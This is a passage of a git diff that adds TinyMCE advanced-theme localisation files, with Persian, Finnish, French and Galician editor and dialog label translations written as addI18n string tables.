pilt","charmap_title":"Vali kohandatud t\u00e4hem\u00e4rk","colorpicker_name":"Nimi:","colorpicker_color":"V\u00e4rv:","colorpicker_named_title":"Nimetatud v\u00e4rvid","colorpicker_named_tab":"Nimetatud","colorpicker_palette_title":"Palett v\u00e4rvid","colorpicker_palette_tab":"Palett","colorpicker_picker_title":"V\u00e4rvi korjaja","colorpicker_picker_tab":"Korjaja","colorpicker_title":"Vali v\u00e4rv","code_wordwrap":"S\u00f5na pakkimine","code_title":"HTML koodi redaktor","anchor_name":"Ankru nimi","anchor_title":"Sisesta/redigeeri ankur","about_loaded":"Laetud lisad","about_version":"Versioon","about_author":"Autor","about_plugin":"Lisa","about_plugins":"Lisad","about_license":"Litsents","about_help":"Abi","about_general":"Teave","about_title":"Teave TinyMCE kohta","charmap_usage":"Kasuta navigeerimiseks vasak ja parem nooli.","anchor_invalid":"Palun m\u00e4\u00e4ra korrektne ankru nimi.","accessibility_help":"K\u00e4ttesaadavus spikker","accessibility_usage_title":"\u00dcldine kasutus"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/fa.js b/js/tiny_mce2/themes/advanced/langs/fa.js new file mode 100755 index 0000000..4302960 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/fa.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.advanced',{"underline_desc":"\u0645\u062a\u0646 \u0632\u06cc\u0631 \u062e\u0637 \u062f\u0627\u0631 (Ctrl+U)","italic_desc":"\u0645\u062a\u0646 \u0645\u0648\u0631\u0628 (Ctrl+I)","bold_desc":"\u0645\u062a\u0646 \u0636\u062e\u06cc\u0645 (Ctrl+B)",dd:"\u062a\u0639\u0631\u06cc\u0641 \u062a\u0648\u0636\u06cc\u062d",dt:"\u062a\u0639\u0631\u06cc\u0641 \u0648\u0627\u0698\u0647 ",samp:"\u0646\u0645\u0648\u0646\u0647 \u06a9\u062f",code:"\u06a9\u062f",blockquote:"\u0628\u0644\u0648\u06a9 \u0646\u0642\u0644 \u0642\u0648\u0644",h6:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 6",h5:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 5",h4:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 4",h3:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 3",h2:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 2",h1:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc \u06f1",pre:"\u0642\u0627\u0644\u0628 \u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u0627\u0632 \u0642\u0628\u0644",address:"\u0622\u062f\u0631\u0633",div:"Div",paragraph:"\u067e\u0627\u0631\u0627\u06af\u0631\u0627\u0641",block:"\u0642\u0627\u0644\u0628",fontdefault:"\u062e\u0627\u0646\u0648\u0627\u062f\u0647 \u0642\u0644\u0645","font_size":"\u0627\u0646\u062f\u0627\u0632\u0647 \u0642\u0644\u0645","style_select":"\u0627\u0633\u062a\u06cc\u0644 \u0647\u0627","more_colors":"\u0631\u0646\u06af\u0647\u0627\u06cc \u0628\u06cc\u0634\u062a\u0631","toolbar_focus":"\u067e\u0631\u0634 \u0628\u0647 \u062f\u06a9\u0645\u0647 \u0647\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 - Alt+Q \u060c \u067e\u0631\u0634 \u0628\u0647 \u0648\u06cc\u0631\u0627\u06cc\u0634\u06af\u0631 - Alt-Z \u060c \u067e\u0631\u0634 \u0628\u0647 \u0645\u0633\u06cc\u0631 \u0639\u0646\u0635\u0631 - Alt-X",newdocument:"\u0622\u06cc\u0627 \u0634\u0645\u0627 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u062f \u062a\u0627 \u062a\u0645\u0627\u0645\u06cc \u0645\u062d\u062a\u0648\u0627 \u0631\u0627 \u067e\u0627\u06a9 \u06a9\u0646\u06cc\u062f\u061f",path:"\u0645\u0633\u06cc\u0631","clipboard_msg":"\u06a9\u067e\u06cc/\u0628\u0631\u0634 (Cut)/\u0686\u0633\u0628\u0627\u0646\u062f\u0646 (Paste) \u062f\u0631 Mozilla \u0648 Firefox \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633 \u0646\u0645\u06cc \u0628\u0627\u0634\u062f.\\r\n\u0622\u06cc\u0627 \u0634\u0645\u0627 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631\u06cc \u062f\u0631\u0628\u0627\u0631\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u062f\u061f","blockquote_desc":"\u0628\u0644\u0648\u06a9 \u0646\u0642\u0644 \u0642\u0648\u0644","help_desc":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc","newdocument_desc":"\u0633\u0646\u062f \u062c\u062f\u06cc\u062f","image_props_desc":"\u0645\u0634\u062e\u0635\u0627\u062a \u062a\u0635\u0648\u06cc\u0631","paste_desc":"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 (Paste)","copy_desc":"\u06a9\u067e\u06cc","cut_desc":"\u0628\u0631\u0634 (Cut)","anchor_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u0646\u06af\u0631","visualaid_desc":"\u062a\u0639\u0648\u06cc\u0636 \u0639\u0646\u0627\u0635\u0631 \u062e\u0637\u0648\u0637 \u0631\u0627\u0647\u0646\u0645\u0627/\u063a\u06cc\u0631 \u0642\u0627\u0628\u0644 \u0646\u0645\u0627\u06cc\u0627\u0646","charmap_desc":"\u062f\u0631\u062c \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0633\u0641\u0627\u0631\u0634\u06cc","backcolor_desc":"\u0627\u0646\u062a\u062e\u0627\u0628 \u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647","forecolor_desc":"\u0627\u0646\u062a\u062e\u0627\u0628 \u0631\u0646\u06af \u0645\u062a\u0646","custom1_desc":"\u062a\u0648\u0636\u06cc\u062d \u0633\u0641\u0627\u0631\u0634\u06cc \u0634\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627","removeformat_desc":"\u062d\u0630\u0641 \u0642\u0627\u0644\u0628 \u0628\u0646\u062f\u06cc","hr_desc":"\u062f\u0631\u062c \u062e\u0637 \u0627\u0641\u0642\u06cc","sup_desc":"\u0628\u0627\u0644\u0627 \u0646\u0648\u06cc\u0633","sub_desc":"\u067e\u0627\u06cc\u06cc\u0646 \u0646\u0648\u06cc\u0633","code_desc":"\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0633\u0648\u0631\u0633 HTML","cleanup_desc":"\u067e\u0627\u06a9 \u0633\u0627\u0632\u06cc \u06a9\u062f \u0647\u0627\u06cc \u0628\u0647\u0645 \u062e\u0648\u0631\u062f\u0647","image_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u062a\u0635\u0648\u06cc\u0631","unlink_desc":"\u063a\u06cc\u0631 \u0644\u06cc\u0646\u06a9 \u06a9\u0631\u062f\u0646","link_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u06cc\u0646\u06a9","redo_desc":"\u0627\u0646\u062c\u0627\u0645 \u0639\u0645\u0644 \u0628\u0639\u062f (Ctrl+Y)","undo_desc":"\u0627\u0646\u062c\u0627\u0645 \u0639\u0645\u0644 \u0642\u0628\u0644 (Ctrl+Z)","indent_desc":"\u062a\u0648\u0631\u0641\u062a\u06af\u06cc","outdent_desc":"\u0628\u06cc\u0631\u0648\u0646 \u0622\u0645\u062f\u06af\u06cc","numlist_desc":"\u0644\u06cc\u0633\u062a \u0645\u0631\u062a\u0628","bullist_desc":"\u0644\u06cc\u0633\u062a \u0646\u0627\u0645\u0631\u062a\u0628","justifyfull_desc":"\u0647\u0645 \u062a\u0631\u0627\u0632 \u06a9\u0631\u062f\u0646","justifyright_desc":"\u062a\u0631\u0627\u0632 \u0631\u0627\u0633\u062a","justifycenter_desc":"\u062a\u0631\u0627\u0632 \u0648\u0633\u0637","justifyleft_desc":"\u062a\u0631\u0627\u0632 \u0686\u067e","striketrough_desc":"\u062e\u0637 \u0648\u0633\u0637",toolbar:"\u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/fa_dlg.js b/js/tiny_mce2/themes/advanced/langs/fa_dlg.js new file mode 100755 index 0000000..760dd7f --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.advanced_dlg',{"link_list":"\u0644\u06cc\u0633\u062a \u0644\u06cc\u0646\u06a9","link_is_external":"URL \u06cc \u06a9\u0647 \u0634\u0645\u0627 \u0648\u0627\u0631\u062f \u0646\u0645\u0648\u062f\u0647 \u0627\u06cc\u062f \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0622\u06cc\u062f \u06a9\u0647 \u0644\u06cc\u0646\u06a9 \u062e\u0627\u0631\u062c\u06cc \u0645\u06cc \u0628\u0627\u0634\u062f \u060c \u0622\u06cc\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u067e\u06cc\u0634\u0648\u0646\u062f \u0644\u0627\u0632\u0645\u0647 //:http \u0631\u0627 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f","link_is_email":"URL \u06cc \u06a9\u0647 \u0634\u0645\u0627 \u0648\u0627\u0631\u062f \u0646\u0645\u0648\u062f\u0647 \u0627\u06cc\u062f \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0622\u06cc\u062f \u06a9\u0647 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u06cc\u0645\u06cc\u0644 \u0645\u06cc \u0628\u0627\u0634\u062f \u060c \u0622\u06cc\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u067e\u06cc\u0634\u0648\u0646\u062f \u0627\u062c\u0628\u0627\u0631\u06cc \u0644\u0627\u0632\u0645\u0647 :mailto \u0631\u0627 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f","link_titlefield":"\u0639\u0646\u0648\u0627\u0646","link_target_blank":"\u0628\u0627\u0632 \u0634\u062f\u0646 \u0644\u06cc\u0646\u06a9 \u062f\u0631 \u06cc\u06a9 \u067e\u0646\u062c\u0631\u0647 \u062c\u062f\u06cc\u062f","link_target_same":"\u0628\u0627\u0632\u0634\u062f\u0646 \u0644\u06cc\u0646\u06a9 \u062f\u0631 \u0647\u0645\u0627\u0646 \u067e\u0646\u062c\u0631\u0647","link_target":"\u0645\u0642\u0635\u062f (Target)","link_url":"URL \u0644\u06cc\u0646\u06a9","link_title":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u06cc\u0646\u06a9","image_align_right":"\u0631\u0627\u0633\u062a","image_align_left":"\u0686\u067e","image_align_textbottom":"\u067e\u0627\u06cc\u06cc\u0646 \u0645\u062a\u0646","image_align_texttop":"\u0628\u0627\u0644\u0627 \u0645\u062a\u0646","image_align_bottom":"\u067e\u0627\u06cc\u06cc\u0646","image_align_middle":"\u0648\u0633\u0637","image_align_top":"\u0628\u0627\u0644\u0627","image_align_baseline":"\u062e\u0637 \u067e\u0627\u06cc\u0647","image_align":"\u062a\u0631\u0627\u0632","image_hspace":"\u0641\u0627\u0635\u0644\u0647 \u0627\u0641\u0642\u06cc","image_vspace":"\u0641\u0627\u0635\u0644\u0647 \u0639\u0645\u0648\u062f\u06cc","image_dimensions":"\u0627\u0628\u0639\u0627\u062f","image_alt":"\u062a\u0648\u0636\u06cc\u062d \u062a\u0635\u0648\u06cc\u0631","image_list":"\u0644\u06cc\u0633\u062a \u062a\u0635\u0648\u06cc\u0631","image_border":"\u062d\u0627\u0634\u06cc\u0647","image_src":"URL \u062a\u0635\u0648\u06cc\u0631","image_title":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u062a\u0635\u0648\u06cc\u0631","charmap_title":"\u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0633\u0641\u0627\u0631\u0634\u06cc","colorpicker_name":"\u0646\u0627\u0645:","colorpicker_color":"\u0631\u0646\u06af:","colorpicker_named_title":"\u0631\u0646\u06af \u0647\u0627\u06cc \u0646\u0627\u0645 \u062f\u0627\u0631","colorpicker_named_tab":"\u0646\u0627\u0645 \u062f\u0627\u0631","colorpicker_palette_title":"\u0631\u0646\u06af \u0647\u0627\u06cc \u0627\u0644\u06af\u0648","colorpicker_palette_tab":"\u0627\u0644\u06af\u0648","colorpicker_picker_title":"\u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u0646\u062f\u0647 \u0631\u0646\u06af","colorpicker_picker_tab":"\u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u0646\u062f\u0647","colorpicker_title":"\u0627\u0646\u062a\u062e\u0627\u0628 \u06cc\u06a9 \u0631\u0646\u06af","code_wordwrap":"\u0634\u06a9\u0633\u062a\u0646 \u062e\u0637\u0648\u0637","code_title":"\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0633\u0648\u0631\u0633 HTML","anchor_name":"\u0646\u0627\u0645 \u0644\u0646\u06af\u0631 (Anchor)","anchor_title":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u0646\u06af\u0631 (Anchor)","about_loaded":"\u0627\u0644\u062d\u0627\u0642\u0627\u062a \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0647","about_version":"\u0646\u0633\u062e\u0647","about_author":"\u0645\u0624\u0644\u0641","about_plugin":"\u0627\u0644\u062d\u0627\u0642\u0647","about_plugins":"\u0627\u0644\u062d\u0627\u0642\u0627\u062a","about_license":"\u0644\u06cc\u0633\u0627\u0646\u0633","about_help":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc","about_general":"\u062f\u0631\u0628\u0627\u0631\u0647","about_title":"\u062f\u0631\u0628\u0627\u0631\u0647 TinyMCE","anchor_invalid":"\u0644\u0637\u0641\u0627 \u06cc\u06a9 \u0646\u0627\u0645 \u0645\u0639\u062a\u0628\u0631 \u0628\u0631\u0627\u06cc \u0644\u0646\u06af\u0631 (anchor) \u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u06cc\u062f.","charmap_usage":"Use left and right arrows to navigate.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/fi.js b/js/tiny_mce2/themes/advanced/langs/fi.js new file mode 100755 index 0000000..2edb8f6 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/fi.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.advanced',{"underline_desc":"Alleviivattu (Ctrl+U)","italic_desc":"Kursivoitu (Ctrl+I)","bold_desc":"Lihavoitu (Ctrl+B)",dd:"M\u00e4\u00e4rittelyn kuvaus",dt:"M\u00e4\u00e4rittelyn ehto ",samp:"Koodiesimerkki",code:"Koodi",blockquote:"Pitk\u00e4 lainaus",h6:"Otsikko 6",h5:"Otsikko 5",h4:"Otsikko 4",h3:"Otsikko 3",h2:"Otsikko 2",h1:"Otsikko 1",pre:"Esimuotoiltu (pre)",address:"Osoite",div:"Div",paragraph:"Kappale",block:"Muotoilu",fontdefault:"Kirjasin","font_size":"Kirjasinkoko","style_select":"Tyylit","more_colors":"Enemm\u00e4n v\u00e4rej\u00e4","toolbar_focus":"Siirry ty\u00f6kaluihin - Alt+Q, Siirry tekstieditoriin - Alt-Z, Siirry elementin polkuun - Alt-X",newdocument:"Haluatko varmasti tyhjent\u00e4\u00e4 kaiken sis\u00e4ll\u00f6n?",path:"Polku","clipboard_msg":"Kopioi/Leikkaa/Liit\u00e4 -painikkeet eiv\u00e4t toimi Mozilla ja Firefox -selaimilla. Voit kuitenkin k\u00e4ytt\u00e4\u00e4 n\u00e4pp\u00e4inyhdistelmi\u00e4 kopioimiseen (Ctrl+C), leikkaamiseen (Ctrl+X) ja liitt\u00e4miseen (Ctrl+V). Haluatko lis\u00e4\u00e4 tietoa?","blockquote_desc":"Pitk\u00e4 lainaus","help_desc":"Ohje","newdocument_desc":"Uusi tiedosto","image_props_desc":"Kuvan ominaisuudet","paste_desc":"Liit\u00e4","copy_desc":"Kopioi","cut_desc":"Leikkaa","anchor_desc":"Lis\u00e4\u00e4/Muokkaa ankkuri","visualaid_desc":"Suuntaviivat/N\u00e4kym\u00e4tt\u00f6m\u00e4t elementit","charmap_desc":"Lis\u00e4\u00e4 erikoismerkki","backcolor_desc":"Valitse taustan v\u00e4ri","forecolor_desc":"Valitse tekstin v\u00e4ri","custom1_desc":"Oma kuvauksesi t\u00e4h\u00e4n","removeformat_desc":"Poista muotoilu","hr_desc":"Lis\u00e4\u00e4 vaakasuora viivain","sup_desc":"Yl\u00e4indeksi","sub_desc":"Alaindeksi","code_desc":"Muokkaa HTML-koodia","cleanup_desc":"Siisti sekainen koodi","image_desc":"Lis\u00e4\u00e4/muuta kuva","unlink_desc":"Poista linkki","link_desc":"Lis\u00e4\u00e4/muuta linkki","redo_desc":"Tee uudelleen (Ctrl+Y)","undo_desc":"Peru (Ctrl+Z)","indent_desc":"Sisenn\u00e4","outdent_desc":"Loitonna","numlist_desc":"J\u00e4rjestetty lista","bullist_desc":"J\u00e4rjest\u00e4m\u00e4t\u00f6n lista","justifyfull_desc":"Tasattu","justifyright_desc":"Tasaus oikealle","justifycenter_desc":"Keskitetty","justifyleft_desc":"Tasaus vasemmalle","striketrough_desc":"Yliviivattu","help_shortcut":"Paina ALT F10 n\u00e4hd\u00e4ksesi ty\u00f6kalurivin. Paina ALT-0 n\u00e4hd\u00e4ksesi ohjeen.","rich_text_area":"Rikastettu tekstialue","shortcuts_desc":"Saavutettavuusohje",toolbar:"Ty\u00f6kalurivi","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/fi_dlg.js b/js/tiny_mce2/themes/advanced/langs/fi_dlg.js new file mode 100755 index 0000000..0024cbd --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.advanced_dlg',{"link_list":"Linkkilista","link_is_external":"Antamasi osoite n\u00e4ytt\u00e4\u00e4 johtavan ulkopuoliselle sivustolle. Haluatko lis\u00e4t\u00e4 linkin eteen http://-etuliitteen? (suositus)","link_is_email":"Antamasi osoite n\u00e4ytt\u00e4\u00e4 olevan s\u00e4hk\u00f6postiosoite. Haluatko lis\u00e4t\u00e4 siihen mailto:-etuliitteen?","link_titlefield":"Otsikko","link_target_blank":"Avaa linkki uuteen ikkunaan","link_target_same":"Avaa linkki samassa ikkunassa","link_target":"Kohde","link_url":"Linkin osoite","link_title":"Lis\u00e4\u00e4/muuta linkki","image_align_right":"Oikealle","image_align_left":"Vasemmalle","image_align_textbottom":"Tekstin alaosaan","image_align_texttop":"Tekstin yl\u00e4osaan","image_align_bottom":"Alas","image_align_middle":"Keskelle","image_align_top":"Yl\u00f6s","image_align_baseline":"Tekstin tasossa","image_align":"Tasaus","image_hspace":"Vaakasuuntainen tila","image_vspace":"Pystysuuntainen tila","image_dimensions":"Mitat","image_alt":"Kuvan kuvaus","image_list":"Kuvalista","image_border":"Reunus","image_src":"Kuvan osoite","image_title":"Lis\u00e4\u00e4/muokkaa kuvaa","charmap_title":"Valitse erikoismerkki","colorpicker_name":"Nimi:","colorpicker_color":"V\u00e4ri:","colorpicker_named_title":"Nimetyt v\u00e4rit","colorpicker_named_tab":"Nimetty","colorpicker_palette_title":"V\u00e4ripaletti","colorpicker_palette_tab":"Paletti","colorpicker_picker_title":"V\u00e4rin valitsin","colorpicker_picker_tab":"Valitsin","colorpicker_title":"Valitse v\u00e4ri","code_wordwrap":"Automaattinen rivinvaihto","code_title":"HTML-koodin muokkaus","anchor_name":"Ankkurin nimi","anchor_title":"Liit\u00e4/muokkaa ankkuria","about_loaded":"Ladatut lis\u00e4osat","about_version":"Versio","about_author":"Kirjoittaja","about_plugin":"Lis\u00e4osa","about_plugins":"Lis\u00e4osat","about_license":"Lisenssi","about_help":"Ohje","about_general":"Tietoja","about_title":"Tietoja TinyMCE:st\u00e4","charmap_usage":"K\u00e4yt\u00e4 vasenta ja oikeata nuolin\u00e4pp\u00e4int\u00e4 navigointiin.","anchor_invalid":"Ole hyv\u00e4 ja anna hyv\u00e4ksytty ankkurin nimi.","accessibility_help":"Saavutettavuusohje","accessibility_usage_title":"Yleinen k\u00e4ytt\u00f6"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/fr.js b/js/tiny_mce2/themes/advanced/langs/fr.js new file mode 100755 index 0000000..1e91abb --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/fr.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.advanced',{"underline_desc":"Soulign\u00e9 (Ctrl+U)","italic_desc":"Italique (Ctrl+I)","bold_desc":"Gras (Ctrl+B)",dd:"D\u00e9finition du terme",dt:"Terme \u00e0 d\u00e9finir",samp:"Exemple de code",code:"Code",blockquote:"Bloc de citation",h6:"Titre 6",h5:"Titre 5",h4:"Titre 4",h3:"Titre 3",h2:"Titre 2",h1:"Titre 1",pre:"Pr\u00e9format\u00e9",address:"Adresse",div:"Div",paragraph:"Paragraphe",block:"Format",fontdefault:"Police","font_size":"Taille police","style_select":"Styles","more_colors":"Plus de couleurs","toolbar_focus":"Atteindre les boutons de l\'\u00e9diteur - Alt+Q, Aller \u00e0 l\'\u00e9diteur - Alt-Z, Aller au chemin de l\'\u00e9l\u00e9ment - Alt-X",newdocument:"\u00cates-vous s\u00fbr de vouloir effacer l\'int\u00e9gralit\u00e9 du document ?",path:"Chemin","clipboard_msg":"Les fonctions Copier/Couper/Coller ne sont pas valables sur Mozilla et Firefox.\nSouhaitez-vous avoir plus d\'informations sur ce sujet ?","blockquote_desc":"Citation","help_desc":"Aide","newdocument_desc":"Nouveau document","image_props_desc":"Propri\u00e9t\u00e9s de l\'image","paste_desc":"Coller","copy_desc":"Copier","cut_desc":"Couper","anchor_desc":"Ins\u00e9rer / \u00e9diter une ancre","visualaid_desc":"Activer / d\u00e9sactiver les guides et les \u00e9l\u00e9ments invisibles","charmap_desc":"Ins\u00e9rer des caract\u00e8res sp\u00e9ciaux","backcolor_desc":"Choisir la couleur de surlignage","forecolor_desc":"Choisir la couleur du texte","custom1_desc":"Votre description personnalis\u00e9e ici","removeformat_desc":"Supprimer le formatage","hr_desc":"Ins\u00e9rer un trait horizontal","sup_desc":"Exposant","sub_desc":"Indice","code_desc":"\u00c9diter le code source HTML","cleanup_desc":"Nettoyer le code","image_desc":"Ins\u00e9rer / \u00e9diter l\'image","unlink_desc":"Supprimer le lien","link_desc":"Ins\u00e9rer / \u00e9diter le lien","redo_desc":"R\u00e9tablir (Ctrl+Y)","undo_desc":"Annuler (Ctrl+Z)","indent_desc":"Indenter","outdent_desc":"Retirer l\'indentation","numlist_desc":"Liste num\u00e9rot\u00e9e","bullist_desc":"Liste \u00e0 puces","justifyfull_desc":"Justifi\u00e9","justifyright_desc":"Align\u00e9 \u00e0 droite","justifycenter_desc":"Centr\u00e9","justifyleft_desc":"Align\u00e9 \u00e0 gauche","striketrough_desc":"Barr\u00e9","help_shortcut":"Faites ALT-F10 pour acc\u00e9der \u00e0 la barre d\'outils. Faites ALT-0 pour acc\u00e9der \u00e0 l\'aide","rich_text_area":"Zone de texte enrichi","shortcuts_desc":"Aides \u00e0 l\'accessibilit\u00e9",toolbar:"Barre d\'outils","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/fr_dlg.js b/js/tiny_mce2/themes/advanced/langs/fr_dlg.js new file mode 100755 index 0000000..97b6b52 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.advanced_dlg',{"link_list":"Liste de liens","link_is_external":"L\'URL que vous avez saisie semble \u00eatre une adresse web externe. Souhaitez-vous ajouter le pr\u00e9fixe \u00ab http:// \u00bb ?","link_is_email":"L\'URL que vous avez saisie semble \u00eatre une adresse e-mail, souhaitez-vous ajouter le pr\u00e9fixe \u00ab mailto: \u00bb ?","link_titlefield":"Titre","link_target_blank":"Ouvrir dans une nouvelle fen\u00eatre","link_target_same":"Ouvrir dans la m\u00eame fen\u00eatre","link_target":"Cible","link_url":"URL du lien","link_title":"Ins\u00e9rer / \u00e9diter un lien","image_align_right":"Droite (flottant)","image_align_left":"Gauche (flottant)","image_align_textbottom":"Texte en bas","image_align_texttop":"Texte en haut","image_align_bottom":"En bas","image_align_middle":"Au milieu","image_align_top":"En haut","image_align_baseline":"Normal","image_align":"Alignement","image_hspace":"Espacement horizontal","image_vspace":"Espacement vertical","image_dimensions":"Dimensions","image_alt":"Description de l\'image","image_list":"Liste d\'images","image_border":"Bordure","image_src":"URL de l\'image","image_title":"Ins\u00e9rer / \u00e9diter une image","charmap_title":"Choisir le caract\u00e8re \u00e0 ins\u00e9rer","colorpicker_name":"Nom :","colorpicker_color":"Couleur :","colorpicker_named_title":"Couleurs nomm\u00e9es","colorpicker_named_tab":"Noms","colorpicker_palette_title":"Couleurs de la palette","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Nuancier","colorpicker_picker_tab":"Nuancier","colorpicker_title":"Choisir une couleur","code_wordwrap":"Retour \u00e0 la ligne","code_title":"\u00c9diteur de source HTML","anchor_name":"Nom de l\'ancre","anchor_title":"Ins\u00e9rer / \u00e9diter une ancre","about_loaded":"Plugins charg\u00e9s","about_version":"Version","about_author":"Auteur","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Licence","about_help":"Aide","about_general":"\u00c0 propos","about_title":"\u00c0 propos de TinyMCE","charmap_usage":"Utilisez les fl\u00e8ches gauche et droite pour naviguer.","anchor_invalid":"Veuillez sp\u00e9cifier un nom d\'ancre valide.","accessibility_help":"Aide \u00e0 l\'accessibilit\u00e9","accessibility_usage_title":"Usage g\u00e9n\u00e9ral","invalid_color_value":"Valeur de couleur invalide"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/gl.js b/js/tiny_mce2/themes/advanced/langs/gl.js new file mode 100755 index 0000000..cf00430 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/gl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advanced',{"underline_desc":"Subli\u00f1ado (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negrita (Ctrl+B)",dd:"Descripci\u00f3n de definici\u00f3n",dt:"Termo de definici\u00f3n",samp:"Mostra de c\u00f3digo",code:"C\u00f3digo",blockquote:"Bloque de cita",h6:"Encabezamento 6",h5:"Encabezamento 5",h4:"Encabezamento 4",h3:"Encabezamento 3",h2:"Encabezamento 2",h1:"Encabezamento 1",pre:"Pre-formateado",address:"Enderezo",div:"Div",paragraph:"P\u00e1rrafo",block:"Formato",fontdefault:"Fonte","font_size":"Tama\u00f1o","style_select":"Estilos","more_colors":"M\u00e1is cores","toolbar_focus":"Ir \u00f3s bot\u00f3ns de ferramentas - Alt+Q, Ir \u00f3 editor - Alt-Z, Ir \u00e1 ruta do elemento - Alt-X",newdocument:"\u00bfSeguro que desexa limpar todo o contido?",path:"Ruta","clipboard_msg":"Copiar/Cortar/Pegar non est\u00e1 disponible en Mozilla e Firefox.\n\u00bfDesexa obter mais informaci\u00f3n sobre de este asunto?","blockquote_desc":"Cita","help_desc":"Axuda","newdocument_desc":"Novo documento","image_props_desc":"Propiedades de imaxe","paste_desc":"Pegar","copy_desc":"Copiar","cut_desc":"Cortar","anchor_desc":"Insertar/editar \u00e1ncora","visualaid_desc":"Mostrar/ocultar li\u00f1a de gu\u00eda/elementos invisibres","charmap_desc":"Insertar caracteres persoalizados","backcolor_desc":"Seleccionar cor do fondo","forecolor_desc":"Seleccionar cor do texto","custom1_desc":"A s\u00faa descripci\u00f3n persoal aqu\u00ed","removeformat_desc":"quitar formato","hr_desc":"Insertar regra horizontal","sup_desc":"Super\u00edndice","sub_desc":"Sub\u00edndice","code_desc":"Editar c\u00f3digo HTML","cleanup_desc":"Limpiar lixo no c\u00f3digo","image_desc":"Insertar/editar imaxe","unlink_desc":"Quitar hiperv\u00ednculo","link_desc":"Insertar/editar hiperv\u00ednculo","redo_desc":"Re-facer (Ctrl+Y)","undo_desc":"Desfacer (Ctrl+Z)","indent_desc":"Aumentar 